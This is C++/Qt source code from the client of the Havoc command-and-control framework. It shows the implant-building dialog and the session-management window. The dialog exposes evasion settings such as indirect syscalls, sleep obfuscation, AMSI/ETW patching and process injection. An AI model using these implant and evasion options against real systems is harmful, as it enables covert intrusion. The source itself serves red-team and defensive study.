    " ); if ( MsgType.compare( "Good" ) == 0 ) { ConsoleText->append( Util::ColorText::Green( "[+] " ) + Message ); } else if ( MsgType.compare( "Info" ) == 0 ) { ConsoleText->append( Util::ColorText::Cyan( "[*] " ) + Message ); } else if ( MsgType.compare( "Error" ) == 0 ) { ConsoleText->append( Util::ColorText::Red( "[-] " ) + Message ); } else if ( MsgType.compare( "Warning" ) == 0 || MsgType.compare( "Warn" ) == 0 ) { ConsoleText->append( Util::ColorText::Yellow( "[!] " ) + Message ); } else { ConsoleText->append( Util::ColorText::Yellow( "[^] " ) + Message ); } } auto Payload::CtxAgentPayloadChange( const QString& AgentType ) -> void { if ( ! Closed ) { for ( auto& Agent : HavocX::Teamserver.ServiceAgents ) { if ( AgentType.compare( Agent.Name ) == 0 ) { ComboFormat->clear(); ComboArch->clear(); AddConfigFromJson( Agent.BuildingConfig ); for ( const auto& Arch : Agent.Arch ) ComboArch->addItem( Arch ); for ( const auto& Format : Agent.Formats ) ComboFormat->addItem( Format.Name ); return; } } if ( AgentType.compare( "Demon" ) == 0 ) { // If agent not found means it's the default Demon DefaultConfig(); ComboFormat->clear(); ComboFormat->addItem( "Windows Exe" ); ComboFormat->addItem( "Windows Dll" ); ComboFormat->addItem( "Windows Shellcode" ); ComboFormat->addItem( "Windows Service Exe" ); ComboArch->clear(); ComboArch->addItem( "x64" ); ComboArch->addItem( "x86" ); } } } auto Payload::Clear() -> void { Closed = true; ComboAgentType->setCurrentIndex( 0 ); ComboListener->setCurrentIndex( 0 ); ComboFormat->setCurrentIndex( 0 ); ComboArch->setCurrentIndex( 0 ); ConsoleText->clear(); } auto Payload::AddConfigFromJson( QJsonDocument Config ) -> void { auto Object = Config.object(); TreeConfig->clear(); for ( const auto& Key : Object.keys() ) { auto KeyValue = Object[ Key ]; auto TreeItem = new QTreeWidgetItem( TreeConfig ); auto ObjectItem = ( QWidget* ) nullptr; TreeItem->setText( 0, Key ); TreeItem->setFlags( Qt::NoItemFlags ); if ( KeyValue.isBool() ) { ObjectItem = new QCheckBox; ObjectItem->setObjectName( "bool" ); ( ( QCheckBox* ) ObjectItem )->setChecked( KeyValue.toBool() ); auto p = ObjectItem->palette(); p.setColor( QPalette::Window, Qt::gray ); ObjectItem->setPalette( p ); TreeConfig->setItemWidget( TreeItem, 1, ObjectItem ); } else if ( KeyValue.isString() ) { ObjectItem = new QLineEdit; ObjectItem->setObjectName( "text" ); ( ( QLineEdit* ) ObjectItem )->setText( KeyValue.toString() ); TreeConfig->setItemWidget( TreeItem, 1, ObjectItem ); } else if ( KeyValue.isArray() ) { auto List = QStringList(); ObjectItem = new QComboBox; ObjectItem->setObjectName( "list" ); for ( auto item : KeyValue.toArray() ) List << item.toString(); ( ( QComboBox* ) ObjectItem )->addItems( List ); TreeConfig->setItemWidget( TreeItem, 1, ObjectItem ); } else if ( KeyValue.isObject() ) { auto SubObject = KeyValue.toObject(); for ( const auto& SubKey : SubObject.keys() ) { auto SubKeyValue = SubObject[ SubKey ]; auto TreeChildItem = new QTreeWidgetItem( TreeItem ); TreeChildItem->setText( 0, SubKey ); if ( SubKeyValue.isBool() ) { ObjectItem = new QCheckBox; ObjectItem->setObjectName( "bool" ); ( ( QCheckBox* ) ObjectItem )->setChecked( SubKeyValue.toBool() ); auto p = ObjectItem->palette(); p.setColor( QPalette::Window, Qt::gray ); ObjectItem->setPalette( p ); TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem ); } else if ( SubKeyValue.isString() ) { ObjectItem = new QLineEdit; ObjectItem->setObjectName( "text" ); ( ( QLineEdit* ) ObjectItem )->setText( SubKeyValue.toString() ); TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem ); } else if ( SubKeyValue.isArray() ) { auto List = QStringList(); ObjectItem = new QComboBox; ObjectItem->setObjectName( "list" ); for ( auto item : SubKeyValue.toArray() ) List << item.toString(); ( ( QComboBox* ) ObjectItem )->addItems( List ); TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem ); } } } } } auto Payload::DefaultConfig() -> void { TreeConfig->clear(); auto Format = ComboFormat->currentText(); auto DemonConfig = HavocX::Teamserver.DemonConfig; auto ConfigSleep = new QTreeWidgetItem( TreeConfig ); auto ConfigJitter = new QTreeWidgetItem( TreeConfig ); auto ConfigServiceName = ( QTreeWidgetItem* ) nullptr; auto ConfigServiceNameInput = ( QLineEdit* ) nullptr; if ( Format.compare( "Windows Service Exe" ) == 0 ) { ConfigServiceName = new QTreeWidgetItem( TreeConfig ); ConfigServiceNameInput = new QLineEdit( "DemonSvc" ); } auto ConfigIndirectSyscalls = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepStackSpoof = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepObfTechnique = new QTreeWidgetItem( TreeConfig ); auto ConfigSleepJmpBypass = new QTreeWidgetItem( TreeConfig ); auto ConfigProxyLoading = new QTreeWidgetItem( TreeConfig ); auto ConfigAmsiEtwPatch = new QTreeWidgetItem( TreeConfig ); auto ConfigInjection = new QTreeWidgetItem( TreeConfig ); auto ConfigInjectionAlloc = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionExecute = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionSpawn64 = new QTreeWidgetItem( ConfigInjection ); auto ConfigInjectionSpawn32 = new QTreeWidgetItem( ConfigInjection ); auto Jitter = DemonConfig[ "Jitter" ].toInt(); if ( Jitter < 0 || Jitter > 100 ) { Jitter = 0; } auto SleepObfTechnique = new QComboBox; auto SleepObfJmpBypass = new QComboBox; auto SleepObfSpoofAddress = new QLineEdit; auto ConfigSleepLineEdit = new QLineEdit( QString::number( DemonConfig[ "Sleep" ].toInt() ) ); auto ConfigJitterLineEdit = new QLineEdit( QString::number( Jitter ) ); auto ConfigIndSyscallCheck = new QCheckBox; auto ConfigInjectAlloc = new QComboBox; auto ConfigInjectExecute = new QComboBox; auto ConfigStackSpoof = new QCheckBox; auto ProxyLoading = new QComboBox; auto AmsiEtwPatch = new QComboBox; auto ConfigSpawn64LineEdit = new QLineEdit( DemonConfig[ "ProcessInjection" ].toObject()[ "Spawn64" ].toString() ); auto ConfigSpawn32LineEdit = new QLineEdit( DemonConfig[ "ProcessInjection" ].toObject()[ "Spawn32" ].toString() ); auto DefaultIndSyscallCheck = DemonConfig[ "IndirectSyscall" ].toBool(); auto DefaultStackDuplication = DemonConfig[ "StackDuplication" ].toBool(); auto DefaultSleepTechnique = DemonConfig[ "SleepTechnique" ].toString(); auto DefaultProxyLoading = DemonConfig[ "ProxyLoading" ].toString(); auto DefaultAmsiEtwPatching = DemonConfig[ "AmsiEtwPatching" ].toString(); ConfigSleep->setFlags( Qt::NoItemFlags ); ConfigJitter->setFlags( Qt::NoItemFlags ); if ( Format.compare( "Windows Service Exe" ) == 0 ) { ConfigServiceName->setFlags( Qt::NoItemFlags ); ConfigServiceNameInput->setObjectName( "ConfigItem" ); } ConfigIndirectSyscalls->setFlags( Qt::NoItemFlags ); ConfigInjection->setFlags( Qt::NoItemFlags ); ConfigProxyLoading->setFlags( Qt::NoItemFlags ); ConfigAmsiEtwPatch->setFlags( Qt::NoItemFlags ); ConfigSleepObfTechnique->setFlags( Qt::NoItemFlags ); ConfigSleepJmpBypass->setFlags( Qt::NoItemFlags ); ConfigSleepStackSpoof->setFlags( Qt::NoItemFlags ); ConfigInjectionSpawn64->setFlags( Qt::NoItemFlags ); ConfigInjectionSpawn32->setFlags( Qt::NoItemFlags ); ConfigSleepLineEdit->setObjectName( "ConfigItem" ); ConfigJitterLineEdit->setObjectName( "ConfigItem" ); ConfigIndSyscallCheck->setObjectName( "ConfigItem" ); ConfigStackSpoof->setObjectName( "ConfigItem" ); ConfigInjectAlloc->setObjectName( "ConfigItem" ); ConfigInjectExecute->setObjectName( "ConfigItem" ); ConfigSpawn64LineEdit->setObjectName( "ConfigItem" ); ConfigSpawn32LineEdit->setObjectName( "ConfigItem" ); SleepObfTechnique->setObjectName( "ConfigItem" ); SleepObfJmpBypass->setObjectName( "ConfigItem" ); SleepObfSpoofAddress->setObjectName( "ConfigItem" ); ProxyLoading->setObjectName( "ConfigItem" ); AmsiEtwPatch->setObjectName( "ConfigItem" ); ConfigIndSyscallCheck->setChecked( DefaultIndSyscallCheck ); ConfigStackSpoof->setChecked( DefaultStackDuplication ); SleepObfJmpBypass->addItems( QStringList() << "None" << "jmp rax" << "jmp rbx" ); ConfigInjectAlloc->addItems( QStringList() << "Win32" << "Native/Syscall" ); ConfigInjectExecute->addItems( QStringList() << "Win32" << "Native/Syscall" ); SleepObfTechnique->addItems( QStringList() << "WaitForSingleObjectEx" << "Foliage" << "Ekko" << "Zilean" ); ProxyLoading->addItems( QStringList() << "None (LdrLoadDll)" << "RtlRegisterWait" << "RtlCreateTimer" << "RtlQueueWorkItem" ); AmsiEtwPatch->addItems( QStringList() << "None" << "Hardware breakpoints" ); ConfigInjectAlloc->setCurrentIndex( 1 ); ConfigInjectExecute->setCurrentIndex( 1 ); SleepObfTechnique->setCurrentIndex( 0 ); if ( DefaultSleepTechnique == "WaitForSingleObjectEx" ) SleepObfTechnique->setCurrentIndex( 0 ); else if ( DefaultSleepTechnique == "Foliage" ) SleepObfTechnique->setCurrentIndex( 1 ); else if ( DefaultSleepTechnique == "Ekko" ) SleepObfTechnique->setCurrentIndex( 2 ); else if ( DefaultSleepTechnique == "Zilean" ) SleepObfTechnique->setCurrentIndex( 3 ); ProxyLoading->setCurrentIndex( 0 ); if ( DefaultProxyLoading == "None" ) ProxyLoading->setCurrentIndex( 0 ); else if ( DefaultProxyLoading == "RtlRegisterWait" ) ProxyLoading->setCurrentIndex( 1 ); else if ( DefaultProxyLoading == "RtlCreateTimer" ) ProxyLoading->setCurrentIndex( 2 ); else if ( DefaultProxyLoading == "RtlQueueWorkItem" ) ProxyLoading->setCurrentIndex( 3 ); AmsiEtwPatch->setCurrentIndex( 0 ); if ( DefaultAmsiEtwPatching == "None" ) AmsiEtwPatch->setCurrentIndex( 0 ); else if ( DefaultAmsiEtwPatching == "Hardware breakpoints" ) AmsiEtwPatch->setCurrentIndex( 1 ); TreeConfig->setItemWidget( ConfigSleep, 1, ConfigSleepLineEdit ); TreeConfig->setItemWidget( ConfigJitter, 1, ConfigJitterLineEdit ); if ( Format.compare( "Windows Service Exe" ) == 0 ) { TreeConfig->setItemWidget( ConfigServiceName, 1, ConfigServiceNameInput ); } TreeConfig->setItemWidget( ConfigIndirectSyscalls, 1, ConfigIndSyscallCheck ); TreeConfig->setItemWidget( ConfigSleepObfTechnique,1, SleepObfTechnique ); TreeConfig->setItemWidget( ConfigSleepJmpBypass, 1, SleepObfJmpBypass ); TreeConfig->setItemWidget( ConfigSleepStackSpoof, 1, ConfigStackSpoof ); TreeConfig->setItemWidget( ConfigProxyLoading, 1, ProxyLoading ); TreeConfig->setItemWidget( ConfigAmsiEtwPatch, 1, AmsiEtwPatch ); TreeConfig->setItemWidget( ConfigInjectionAlloc, 1, ConfigInjectAlloc ); TreeConfig->setItemWidget( ConfigInjectionExecute, 1, ConfigInjectExecute ); TreeConfig->setItemWidget( ConfigInjectionSpawn64, 1, ConfigSpawn64LineEdit ); TreeConfig->setItemWidget( ConfigInjectionSpawn32, 1, ConfigSpawn32LineEdit ); ConfigSleep->setText( 0, "Sleep" ); ConfigJitter->setText( 0, "Jitter" ); if ( Format.compare( "Windows Service Exe" ) == 0 ) { ConfigServiceName->setText( 0, "Service Name" ); } ConfigIndirectSyscalls->setText( 0, "Indirect Syscall" ); ConfigSleepObfTechnique->setText( 0, "Sleep Technique" ); ConfigSleepJmpBypass->setText( 0, "Sleep Jmp Gadget" ); ConfigSleepStackSpoof->setText( 0, "Stack Duplication" ); ConfigProxyLoading->setText( 0, "Proxy Loading" ); ConfigAmsiEtwPatch->setText( 0, "Amsi/Etw Patch" ); ConfigInjection->setText( 0, "Injection" ); ConfigInjection->setExpanded( true ); ConfigInjection->addChild( ConfigInjectionSpawn64 ); ConfigInjection->addChild( ConfigInjectionSpawn32 ); ConfigInjectionAlloc->setText( 0, "Alloc" ); ConfigInjectionExecute->setText( 0, "Execute" ); ConfigInjectionSpawn64->setText( 0, "Spawn64" ); ConfigInjectionSpawn32->setText( 0, "Spawn32" ); } auto Payload::GetConfigAsJson() -> QJsonDocument { auto ConfigJson = QJsonDocument(); auto JsonObject = QJsonObject(); auto SubObjects = map(); auto TreeIterator = QTreeWidgetItemIterator( TreeConfig ); while ( *TreeIterator ) { auto Parent = QString(); auto Name = QString(); auto ObjType = QString(); auto Object = ( QWidget* ) nullptr; if ( ( *TreeIterator )->parent() ) Parent = ( *TreeIterator )->parent()->text( 0 ); Name = ( *TreeIterator )->text( 0 ); if ( TreeConfig->itemWidget( ( *TreeIterator ), 1 ) ) { ObjType = TreeConfig->itemWidget( ( *TreeIterator ), 1 )->metaObject()->className(); } if ( Parent.isEmpty() ) { if ( ! ObjType.isEmpty() ) { Object = TreeConfig->itemWidget( ( *TreeIterator ), 1 ); if ( ObjType.compare( "QComboBox" ) == 0 ) { JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QComboBox* ) Object )->currentText() ) ); } else if ( ObjType.compare( "QCheckBox" ) == 0 ) { JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QCheckBox* ) Object )->isChecked() ) ); } else if ( ObjType.compare( "QLineEdit" ) == 0 ) { JsonObject.insert( Name, QJsonValue::fromVariant( ( ( QLineEdit* ) Object )->text() ) ); } else { auto obj = ObjType.toStdString(); spdlog::error( "ObjType not found: {}", obj ); ++TreeIterator; continue; } } } else { Object = TreeConfig->itemWidget( ( *TreeIterator ), 1 ); if ( ObjType.compare( "QComboBox" ) == 0 ) { SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QComboBox* ) Object )->currentText() ) ); } else if ( ObjType.compare( "QCheckBox" ) == 0 ) { SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QCheckBox* ) Object )->isChecked() ) ); } else if ( ObjType.compare( "QLineEdit" ) == 0 ) { SubObjects[ Parent ].insert( Name, QJsonValue::fromVariant( ( ( QLineEdit* ) Object )->text() ) ); } else { auto obj = ObjType.toStdString(); spdlog::error( "ObjType not found: {}", obj ); ++TreeIterator; continue; } } ++TreeIterator; } for ( const auto& object : SubObjects ) { JsonObject.insert( object.first, object.second ); } ConfigJson.setObject( JsonObject ); return ConfigJson; } auto Payload::Start() -> void { ComboAgentType->clear(); ComboListener->clear(); ComboFormat->clear(); ComboArch->clear(); ConsoleText->clear(); TreeConfig->clear(); retranslateUi(); PayloadDialog->show(); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/HavocUi.cc000066400000000000000000000572511467014221700237520ustar00rootroot00000000000000#include // Headers for UserInterface #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; void HavocNamespace::UserInterface::HavocUi::setupUi(QMainWindow *Havoc) { HavocWindow = Havoc; if ( HavocWindow->objectName().isEmpty() ) { HavocWindow->setObjectName( QString::fromUtf8( "HavocWindow " ) ); } HavocWindow->resize( 1399, 821 ); HavocWindow->setStyleSheet( FileRead( ":/stylesheets/Havoc" ) ); actionNew_Client = new QAction( HavocWindow ); actionNew_Client->setObjectName( QString::fromUtf8( "NewClient" ) ); actionChat = new QAction( HavocWindow ); actionChat->setObjectName( QString::fromUtf8( "actionChat" ) ); actionPreferences = new QAction( HavocWindow ); actionPreferences->setObjectName( QString::fromUtf8( "actionPreferences" ) ); actionPreferences->setIcon( QIcon( ":/icons/settings" ) ); actionPreferences->setShortcut( QKeySequence( "Ctrl+Alt+s" ) ); actionDisconnect = new QAction( HavocWindow ); actionDisconnect->setObjectName( QString::fromUtf8( "actionDisconnect" ) ); actionExit = new QAction( HavocWindow ); actionExit->setObjectName( QString::fromUtf8( "actionExit" ) ); actionTeamserver = new QAction( HavocWindow ); actionTeamserver->setObjectName( QString::fromUtf8( "actionTeamserver" ) ); actionStore = new QAction( HavocWindow ); actionStore->setObjectName( QString::fromUtf8( "actionStore" ) ); actionGeneratePayload = new QAction( HavocWindow ); actionGeneratePayload->setObjectName( QString::fromUtf8( "actionGeneratePayload" ) ); actionLoad_Script = new QAction( HavocWindow ); actionLoad_Script->setObjectName( QString::fromUtf8( "actionLoad_Script" ) ); actionPythonConsole = new QAction( HavocWindow ); actionPythonConsole->setObjectName( QString::fromUtf8( "actionPythonConsole" ) ); actionAbout = new QAction( HavocWindow ); actionAbout->setObjectName( QString::fromUtf8( "actionAbout" ) ); actionOpen_Help_Documentation = new QAction( HavocWindow ); actionOpen_Help_Documentation->setObjectName( QString::fromUtf8( "actionOpen_Help_Documentation" ) ); actionOpen_API_Reference = new QAction( HavocWindow ); actionOpen_API_Reference->setObjectName( QString::fromUtf8( "actionOpen_API_Reference" ) ); actionGithub_Repository = new QAction( HavocWindow ); actionGithub_Repository->setObjectName( QString::fromUtf8( "actionGithub_Repository" ) ); actionListeners = new QAction( HavocWindow ); actionListeners->setObjectName( QString::fromUtf8( "actionListeners" ) ); actionSessionsTable = new QAction( HavocWindow ); actionSessionsTable->setObjectName( QString::fromUtf8( "actionSessionsTable" ) ); actionSessionsGraph = new QAction( HavocWindow ); actionSessionsGraph->setObjectName( QString::fromUtf8( "actionSessionsGraph" ) ); actionLogs = new QAction( HavocWindow ); actionLogs->setObjectName( QString::fromUtf8( "actionLogs" ) ); actionLoot = new QAction( HavocWindow ); actionLoot->setObjectName( QString::fromUtf8( "actionLoot" ) ); centralwidget = new QWidget( HavocWindow ); centralwidget->setObjectName( QString::fromUtf8( "centralwidget" ) ); gridLayout_3 = new QGridLayout( centralwidget ); gridLayout_3->setObjectName( QString::fromUtf8( "gridLayout_3" ) ); gridLayout_3->setContentsMargins( 0, 0, 0, 0 ); TeamserverTabWidget = new QTabWidget( centralwidget ); TeamserverTabWidget->setObjectName( QString::fromUtf8( "TeamserverTabWidget" ) ); TeamserverTabWidget->setStyleSheet( FileRead( ":/stylesheets/teamserverTab" ) ); TeamserverTabWidget->setTabBarAutoHide( true ); TeamserverTabWidget->setTabsClosable( true ); /* TODO: refactor this. */ HavocX::Teamserver.TabSession = new UserInterface::Widgets::TeamserverTabSession; HavocX::Teamserver.TabSession->setupUi( new QWidget, HavocX::Teamserver.Name ); TeamserverTabWidget->setCurrentIndex( TeamserverTabWidget->addTab( HavocX::Teamserver.TabSession->PageWidget, HavocX::Teamserver.Name ) ); gridLayout_3->addWidget( TeamserverTabWidget, 0, 0, 1, 1 ); menubar = new QMenuBar( this->HavocWindow ); menubar->setObjectName( QString::fromUtf8( "menubar" ) ); menubar->setGeometry( QRect( 0, 0, 1143, 20 ) ); menubar->setStyleSheet( FileRead( ":/stylesheets/menubar" ) ); menuHavoc = new QMenu( menubar ); menuView = new QMenu( menubar ); menuAttack = new QMenu( menubar ); MenuSession = new QMenu( menubar ); menuScripts = new QMenu( menubar ); menuHelp = new QMenu( menubar ); menuHavoc->setObjectName( QString::fromUtf8( "menuHavoc" ) ); menuView->setObjectName( QString::fromUtf8( "menuView" ) ); menuAttack->setObjectName( QString::fromUtf8( "menuAttack" ) ); HavocWindow->setMenuBar( menubar ); menuScripts->setObjectName( QString::fromUtf8( "menuScripts" ) ); menuHelp->setObjectName( QString::fromUtf8( "menuHelp" ) ); statusbar = new QStatusBar( HavocWindow ); statusbar->setObjectName( QString::fromUtf8( "statusbar" ) ); statusbar->setLayoutDirection( Qt::LayoutDirection::RightToLeft ); statusbar->setSizeGripEnabled( false ); statusbar->setVisible( false ); // change that by setting HavocWindow->setStatusBar( statusbar ); menubar->addAction( menuHavoc->menuAction() ); menubar->addAction( menuView->menuAction() ); menubar->addAction( menuAttack->menuAction() ); menubar->addAction( menuScripts->menuAction() ); menubar->addAction( menuHelp->menuAction() ); menuHavoc->addAction( actionNew_Client ); menuHavoc->addSeparator(); menuHavoc->addAction( actionDisconnect ); menuHavoc->addAction( actionExit ); MenuSession->addAction( actionSessionsTable ); MenuSession->addAction( actionSessionsGraph ); menuView->addAction( actionListeners ); menuView->addSeparator(); menuView->addAction( MenuSession->menuAction() ); menuView->addSeparator(); menuView->addAction( actionChat ); menuView->addAction( actionLoot ); menuView->addSeparator(); menuView->addAction( actionLogs ); menuView->addAction( actionTeamserver ); menuAttack->addAction( actionGeneratePayload ); menuAttack->addAction( actionStore ); menuScripts->addAction( actionLoad_Script ); menuScripts->addAction( actionPythonConsole ); menuHelp->addAction( actionAbout ); menuHelp->addSeparator(); menuHelp->addAction( actionOpen_Help_Documentation ); menuHelp->addAction( actionOpen_API_Reference ); menuHelp->addSeparator(); menuHelp->addAction( actionGithub_Repository ); /* prepare python interpreter */ PythonPrepare(); /* connect events & buttons */ ConnectEvents(); /* set text for each action, button and widget */ retranslateUi( HavocWindow ); QMetaObject::connectSlotsByName( HavocWindow ); } void HavocNamespace::UserInterface::HavocUi::OneSecondTick() { } void HavocNamespace::UserInterface::HavocUi::MarkSessionAs(HavocNamespace::Util::SessionItem Session, QString Mark) { for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto AgentID = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( Session.Name.compare( AgentID ) == 0 ) { auto Package = new Util::Packager::Package; QString Marked; if ( Mark.compare( "Alive" ) == 0 ) { Marked = "Alive"; Session.Marked = Marked; auto Icon = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( Session.OS, true ) : WinVersionIcon( Session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( Mark.compare( "Dead" ) == 0 ) { Marked = "Dead"; Session.Marked = Marked; HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } Package->Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::MarkAs, .Info = { { "AgentID", AgentID.toStdString() }, { "Marked", Marked.toStdString() }, } }; HavocX::Connector->SendPackage( Package ); break; } } } void HavocNamespace::UserInterface::HavocUi::UpdateSessionsHealth() { for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Marked.compare( "Dead" ) == 0 ) continue; auto Now = QDateTime::currentDateTimeUtc(); auto diff = session.LastUTC.secsTo( Now ); auto seconds = QDateTime::fromTime_t( diff ).toUTC().toString("s"); auto minutes = QDateTime::fromTime_t( diff ).toUTC().toString("m"); auto hours = QDateTime::fromTime_t( diff ).toUTC().toString("h"); auto days = QDateTime::fromTime_t( diff ).toUTC().toString("d"); if ( diff < 60 ) { session.Last = QString("%1s").arg(seconds); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } else if ( diff < 60 * 60 ) { session.Last = QString("%1m %2s").arg(minutes, seconds); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } else if ( diff < 24 * 60 * 60 ) { session.Last = QString("%1h %2m").arg(hours, minutes); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } else { session.Last = QString("%1d %2h").arg(days, hours); HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 8, session.Last.toStdString().c_str()); } // it is very normal for agents to delay three second due to network latency auto AllowedDiff = 3; if ( session.KillDate > 0 ) { auto UNIX_TIME_START = 0x019DB1DED53E8000; //January 1, 1970 (start of Unix epoch) in "ticks" auto TICKS_PER_SECOND = 10000000; //a tick is 100ns auto KillDateInEpoch = ( session.KillDate - UNIX_TIME_START ) / TICKS_PER_SECOND; if ( Now.secsTo( QDateTime::fromSecsSinceEpoch( KillDateInEpoch, Qt::UTC ) ) <= 0 ) { // agent reached its killdate session.Health = "killdate"; session.Marked = "Dead"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health ); MarkSessionAs( session, QString( "Dead") ); continue; } } if ( ( ( session.WorkingHours >> 22 ) & 1 ) == 1 ) { uint32_t StartHour = ( session.WorkingHours >> 17 ) & 0b011111; uint32_t StartMinute = ( session.WorkingHours >> 11 ) & 0b111111; uint32_t EndHour = ( session.WorkingHours >> 6 ) & 0b011111; uint32_t EndMinute = ( session.WorkingHours >> 0 ) & 0b111111; bool isOffHours = false; if ( StartHour < Now.time().hour() || EndHour > Now.time().hour() ) { isOffHours = true; } if ( StartHour == Now.time().hour() && StartMinute < Now.time().minute() ) { isOffHours = true; } if ( EndHour == Now.time().hour() && EndMinute > Now.time().minute() ) { isOffHours = true; } if ( isOffHours ) { // agent is offhours session.Health = "offhours"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue(session.Name, 9, session.Health); continue; } } if ( diff - AllowedDiff < session.SleepDelay + ( session.SleepDelay * 0.01 * session.SleepJitter ) ) { // agent has ping back in time session.Health = "healthy"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health ); continue; } else { // agent has not pinged back in time session.Health = "unresponsive"; HavocX::Teamserver.TabSession->SessionTableWidget->ChangeSessionValue( session.Name, 9, session.Health ); continue; } } } void HavocNamespace::UserInterface::HavocUi::retranslateUi(QMainWindow* Havoc ) const { Havoc->setWindowTitle( "Havoc" ); actionNew_Client->setText( "New Client" ); actionChat->setText( "Teamserver Chat" ); actionDisconnect->setText( "Disconnect" ); actionExit->setText( "Exit" ); actionTeamserver->setText( "Teamserver" ); actionStore->setText( "Extentions" ); actionGeneratePayload->setText( "Payload" ); actionLoad_Script->setText( "Scripts Manager" ); actionPythonConsole->setText( "Script Console" ); actionAbout->setText( "About" ); actionOpen_Help_Documentation->setText( "Open Documentation" ); actionOpen_API_Reference->setText( "Open API Reference" ); actionGithub_Repository->setText( "Github Repository" ); actionListeners->setText( "Listeners" ); actionSessionsTable->setText( "Table" ); actionSessionsGraph->setText( "Graph" ); actionLogs->setText( "Event Viewer" ); actionLoot->setText( "Loot" ); menuHavoc->setTitle( "Havoc" ); menuView->setTitle( "View" ); menuAttack->setTitle( "Attack" ); menuScripts->setTitle( "Scripts" ); menuHelp->setTitle( "Help" ); MenuSession->setTitle( "Session View" ); HavocWindow->setFocus(); HavocWindow->showMaximized(); } void HavocNamespace::UserInterface::HavocUi::ConnectEvents() { auto OneSecondTimer = new QTimer( this ); QMainWindow::connect( OneSecondTimer, &QTimer::timeout, this, [&]() { UpdateSessionsHealth(); } ); OneSecondTimer->start(1000); QMainWindow::connect( actionNew_Client, &QAction::triggered, this, []() { QProcess::startDetached( QCoreApplication::applicationFilePath(), QStringList{""} ); } ); QMainWindow::connect( actionChat, &QAction::triggered, this, [&](){ auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->TeamserverChat == nullptr ) { Teamserver->TeamserverChat = new Widgets::Chat; Teamserver->TeamserverChat->setupUi(new QWidget); Teamserver->TeamserverName = HavocX::Teamserver.Name; } NewBottomTab( Teamserver->TeamserverChat->ChatWidget, "Teamserver Chat" ); } ); QMainWindow::connect( actionDisconnect, &QAction::triggered, this, []() { if ( HavocX::Connector != nullptr ) { HavocX::Connector->Disconnect(); MessageBox( "Disconnected", "Disconnected from " + HavocX::Teamserver.Name, QMessageBox::Information ); } else { MessageBox( "Error", "Couldn't disconnect from " + HavocX::Teamserver.Name, QMessageBox::Critical ); } } ); QMainWindow::connect( actionExit, &QAction::triggered, this, []() { Havoc::Exit(); } ); QMainWindow::connect( actionSessionsTable, &QAction::triggered, this, []() { HavocX::Teamserver.TabSession->MainViewWidget->setCurrentIndex( 0 ); } ); QMainWindow::connect( actionListeners, &QAction::triggered, this, [&](){ auto Teamserver = HavocX::Teamserver.TabSession; if ( Teamserver->ListenerTableWidget == nullptr ) { Teamserver->ListenerTableWidget = new Widgets::ListenersTable; Teamserver->ListenerTableWidget->setupUi(new QWidget); Teamserver->ListenerTableWidget->setDBManager(this->dbManager); Teamserver->ListenerTableWidget->TeamserverName = HavocX::Teamserver.Name; } NewBottomTab( Teamserver->ListenerTableWidget->ListenerWidget, "Listeners" ); } ); QMainWindow::connect( actionTeamserver, &QAction::triggered, this, [&](){ if ( HavocX::Teamserver.TabSession->Teamserver == nullptr ) { HavocX::Teamserver.TabSession->Teamserver = new Teamserver; HavocX::Teamserver.TabSession->Teamserver->setupUi( new QDialog ); } NewBottomTab( HavocX::Teamserver.TabSession->Teamserver->TeamserverWidget, "Teamserver" ); } ); QMainWindow::connect( actionStore, &QAction::triggered, this, [&](){ if ( HavocX::Teamserver.TabSession->Store == nullptr ) { HavocX::Teamserver.TabSession->Store = new Store; HavocX::Teamserver.TabSession->Store->setupUi( new QDialog ); } NewBottomTab( HavocX::Teamserver.TabSession->Store->StoreWidget, "Extentions" ); } ); QMainWindow::connect( actionSessionsGraph, &QAction::triggered, this, [&]() { 